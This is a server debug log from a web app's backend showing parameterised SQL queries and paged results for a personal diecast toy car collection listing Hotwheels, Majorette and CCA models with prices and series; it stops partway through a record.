2026-02-03T13:24:29.916Z server-connect:app Executing action step select
2026-02-03T13:24:29.916Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:24:29.917Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 119,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:24:29.918Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:24:29.918Z server-connect:app Executing action step select
2026-02-03T13:24:29.918Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:24:29.919Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:24:33.130Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:24:33.130Z server-connect:app Executing action step identify
2026-02-03T13:24:33.130Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:33.130Z server-connect:output identity: 1
2026-02-03T13:24:33.130Z server-connect:app Executing action step restrict
2026-02-03T13:24:33.130Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:33.131Z server-connect:output restrict: undefined
2026-02-03T13:24:33.131Z server-connect:app Executing action step paged
2026-02-03T13:24:33.131Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:24:33.134Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 95,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:24:38.889Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:24:38.890Z server-connect:app Executing action step identify
2026-02-03T13:24:38.890Z server-connect:app options: { provider: 'security' }
2026-02-03T13:24:38.890Z server-connect:output identity: 1
2026-02-03T13:24:38.890Z server-connect:app Executing action step restrict
2026-02-03T13:24:38.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:24:38.890Z server-connect:output restrict: undefined
2026-02-03T13:24:38.891Z server-connect:app Executing action step paged
2026-02-03T13:24:38.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:24:38.894Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 24,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
